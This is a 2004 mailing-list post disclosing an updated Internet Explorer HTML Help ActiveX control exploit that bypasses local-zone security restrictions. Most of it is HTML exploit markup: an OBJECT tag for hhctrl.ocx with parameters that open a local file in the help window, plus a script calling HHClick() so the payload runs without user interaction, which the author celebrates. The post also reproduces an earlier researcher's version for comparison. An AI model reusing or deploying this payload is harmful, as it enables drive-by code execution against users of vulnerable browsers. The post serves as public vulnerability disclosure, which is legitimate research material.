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Internet Explorer Help ActiveX Control Local Zone Security Restriction Bypass Vulnerability (updated)
From: Paul <paul () greyhats cjb net>
Date: 19 Dec 2004 17:18:30 -0000



I appologize for the previous vulnerability (longnamevuln) because it was incomplete. After realizing my mistake, 
longnamevuln looked useless. However, it was just incomplete, not useless. What longnamevuln did was open a local file 
in the browser window. To execute active content, it needed to be opened in the help window. To do this, a window name 
parameter set to a blank window needed to be added. The updated code is designed for Malware's original local zone 
security restriction bypass which required the user click a button (http://malware.com/noceegar.html). The drag and 
drop vulnerability does not appear to be functional; however, the local zone security bypass vulnerability still 
appears to work fine. Instead of this (malware's code):

&lt;OBJECT id="hhctrl" type="application/x-oleobject" 
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"codebase="hhctrl.ocx#Version=5,2,3790,1194"width=7% height=7% 
style="position:absolute;top:140;left:72;z-index:100;">
<PARAM name="Command" value="Index">
<PARAM name="Item1" value="cigar.hhk">
&lt;/OBJECT&gt;  

one would use this (my code):

&lt;OBJECT id="hhctrl" type="application/x-oleobject" 
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"codebase="hhctrl.ocx#Version=5,2,3790,1194"width=7% height=7% 
style="position:absolute;top:140;left:72;z-index:100;">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value="command;C:\WINDOWS\PCHealth\malwarez[1].htm">
&lt;/OBJECT&gt;
&lt;script&gt;
hhctrl.HHClick();
&lt;/script&gt;

Notice that HHClick is automated, eliminating the need for user interaction (finally). My site, 
http://greyhats.cjb.net, will not be updated with the new code because it is a small change, and I don't want to go 
through the hassle of trying to deal with the ftp server on my unreliable host (hope websamba isnt reading this :).

That's all folks!


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